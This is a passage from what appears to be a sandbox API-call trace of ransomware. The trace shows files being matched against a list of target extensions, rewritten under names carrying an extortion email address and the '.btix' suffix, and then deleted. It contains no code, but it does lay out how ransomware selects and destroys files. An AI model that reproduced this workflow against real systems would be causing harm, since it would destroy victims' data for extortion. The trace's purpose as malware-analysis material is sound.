Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.276] lstrlenW (lpString=".doc") returned 4 [0137.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.276] lstrlenW (lpString=".docx") returned 5 [0137.276] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0137.276] lstrlenW (lpString=".pdf") returned 4 [0137.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.276] lstrlenW (lpString=".xls") returned 4 [0137.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.276] lstrlenW (lpString=".xlsx") returned 5 [0137.276] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0137.276] lstrlenW (lpString=".ppt") returned 4 [0137.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.277] lstrlenW (lpString=".zip") returned 4 [0137.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.277] lstrlenW (lpString=".rar") returned 4 [0137.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.277] lstrlenW (lpString=".bz2") returned 4 [0137.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.277] lstrlenW (lpString=".7z") returned 3 [0137.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.277] lstrlenW (lpString=".dbf") returned 4 [0137.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.277] lstrlenW (lpString=".1cd") returned 4 [0137.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.277] lstrlenW (lpString=".jpg") returned 4 [0137.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.277] lstrlenW (lpString=".doc") returned 4 [0137.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.277] lstrlenW (lpString=".docx") returned 5 [0137.277] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0137.277] lstrlenW (lpString=".pdf") returned 4 [0137.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.277] lstrlenW (lpString=".xls") returned 4 [0137.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.277] lstrlenW (lpString=".xlsx") returned 5 [0137.277] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0137.277] lstrlenW (lpString=".ppt") returned 4 [0137.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.278] lstrlenW (lpString=".zip") returned 4 [0137.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.278] lstrlenW (lpString=".rar") returned 4 [0137.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.278] lstrlenW (lpString=".bz2") returned 4 [0137.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.278] lstrlenW (lpString=".7z") returned 3 [0137.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.278] lstrlenW (lpString=".dbf") returned 4 [0137.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.278] lstrlenW (lpString=".1cd") returned 4 [0137.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.278] lstrlenW (lpString=".jpg") returned 4 [0137.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.278] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.278] lstrlenW (lpString="J0099176.WMF") returned 12 [0137.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0137.279] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2488) returned 1 [0137.279] CloseHandle (hObject=0x4c8) returned 1 [0137.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0137.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0137.283] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.293] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.320] GetLastError () returned 0x0 [0137.320] ReadFile (in: hFile=0x4c8, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0137.321] WriteFile (in: hFile=0x530, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0137.322] ReadFile (in: hFile=0x4c8, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.322] WriteFile (in: hFile=0x530, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.322] SetEndOfFile (hFile=0x530) returned 1 [0137.322] CloseHandle (hObject=0x530) returned 1 [0137.322] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.322] SetEndOfFile (hFile=0x4c8) returned 1 [0137.324] CloseHandle (hObject=0x4c8) returned 1 [0137.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0137.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.325] lstrlenW (lpString=".doc") returned 4 [0137.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.325] lstrlenW (lpString=".docx") returned 5 [0137.325] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0137.325] lstrlenW (lpString=".pdf") returned 4 [0137.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.326] lstrlenW (lpString=".xls") returned 4 [0137.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.326] lstrlenW (lpString=".xlsx") returned 5 [0137.326] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0137.326] lstrlenW (lpString=".ppt") returned 4 [0137.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.326] lstrlenW (lpString=".zip") returned 4 [0137.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.326] lstrlenW (lpString=".rar") returned 4 [0137.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.326] lstrlenW (lpString=".bz2") returned 4 [0137.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.326] lstrlenW (lpString=".7z") returned 3 [0137.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.326] lstrlenW (lpString=".dbf") returned 4 [0137.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.326] lstrlenW (lpString=".1cd") returned 4 [0137.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.326] lstrlenW (lpString=".jpg") returned 4 [0137.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.326] lstrlenW (lpString=".doc") returned 4 [0137.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.326] lstrlenW (lpString=".docx") returned 5 [0137.326] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0137.326] lstrlenW (lpString=".pdf") returned 4 [0137.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.326] lstrlenW (lpString=".xls") returned 4 [0137.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.326] lstrlenW (lpString=".xlsx") returned 5 [0137.327] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0137.327] lstrlenW (lpString=".ppt") returned 4 [0137.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.327] lstrlenW (lpString=".zip") returned 4 [0137.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.327] lstrlenW (lpString=".rar") returned 4 [0137.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.327] lstrlenW (lpString=".bz2") returned 4 [0137.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.327] lstrlenW (lpString=".7z") returned 3 [0137.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.327] lstrlenW (lpString=".dbf") returned 4 [0137.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.327] lstrlenW (lpString=".1cd") returned 4 [0137.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0137.327] lstrlenW (lpString=".jpg") returned 4 [0137.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.327] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.327] lstrlenW (lpString="J0099179.WMF") returned 12 [0137.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.330] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=9154) returned 1 [0137.331] CloseHandle (hObject=0x508) returned 1 [0137.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220 [0137.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0137.703] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.703] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0137.704] GetLastError () returned 0x0 [0137.704] ReadFile (in: hFile=0x550, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x23c2, lpOverlapped=0x0) returned 1 [0137.750] WriteFile (in: hFile=0x390, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x23d0, lpOverlapped=0x0) returned 1 [0137.751] ReadFile (in: hFile=0x550, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.751] WriteFile (in: hFile=0x390, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.751] SetEndOfFile (hFile=0x390) returned 1 [0137.751] CloseHandle (hObject=0x390) returned 1 [0137.752] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.752] SetEndOfFile (hFile=0x550) returned 1 [0137.799] CloseHandle (hObject=0x550) returned 1 [0137.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0137.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.801] lstrlenW (lpString=".doc") returned 4 [0137.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.801] lstrlenW (lpString=".docx") returned 5 [0137.801] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0137.801] lstrlenW (lpString=".pdf") returned 4 [0137.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.801] lstrlenW (lpString=".xls") returned 4 [0137.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.801] lstrlenW (lpString=".xlsx") returned 5 [0137.801] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0137.801] lstrlenW (lpString=".ppt") returned 4 [0137.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.801] lstrlenW (lpString=".zip") returned 4 [0137.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.801] lstrlenW (lpString=".rar") returned 4 [0137.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.801] lstrlenW (lpString=".bz2") returned 4 [0137.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.820] lstrlenW (lpString=".7z") returned 3 [0137.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.820] lstrlenW (lpString=".dbf") returned 4 [0137.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.833] lstrlenW (lpString=".1cd") returned 4 [0137.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.833] lstrlenW (lpString=".jpg") returned 4 [0137.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.833] lstrlenW (lpString=".doc") returned 4 [0137.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.833] lstrlenW (lpString=".docx") returned 5 [0137.833] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0137.833] lstrlenW (lpString=".pdf") returned 4 [0137.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.833] lstrlenW (lpString=".xls") returned 4 [0137.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.833] lstrlenW (lpString=".xlsx") returned 5 [0137.833] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0137.833] lstrlenW (lpString=".ppt") returned 4 [0137.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.833] lstrlenW (lpString=".zip") returned 4 [0137.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.833] lstrlenW (lpString=".rar") returned 4 [0137.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.833] lstrlenW (lpString=".bz2") returned 4 [0137.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.833] lstrlenW (lpString=".7z") returned 3 [0137.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.833] lstrlenW (lpString=".dbf") returned 4 [0137.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.833] lstrlenW (lpString=".1cd") returned 4 [0137.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0137.834] lstrlenW (lpString=".jpg") returned 4 [0137.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.834] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0137.834] lstrlenW (lpString="J0099193.GIF") returned 12 [0137.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0137.834] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=35546) returned 1 [0137.834] CloseHandle (hObject=0x550) returned 1 [0137.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0137.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0137.835] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.835] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0137.835] GetLastError () returned 0x0 [0137.835] ReadFile (in: hFile=0x550, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x8ada, lpOverlapped=0x0) returned 1 [0137.856] WriteFile (in: hFile=0x390, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0137.857] ReadFile (in: hFile=0x550, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.857] WriteFile (in: hFile=0x390, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.858] SetEndOfFile (hFile=0x390) returned 1 [0137.869] CloseHandle (hObject=0x390) returned 1 [0137.875] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.875] SetEndOfFile (hFile=0x550) returned 1 [0137.886] CloseHandle (hObject=0x550) returned 1 [0137.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0138.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0139.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.305] lstrlenW (lpString=".doc") returned 4 [0139.305] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0139.305] lstrlenW (lpString=".docx") returned 5 [0139.305] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0139.305] lstrlenW (lpString=".pdf") returned 4 [0139.306] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0139.306] lstrlenW (lpString=".xls") returned 4 [0139.306] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0139.306] lstrlenW (lpString=".xlsx") returned 5 [0139.306] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0139.306] 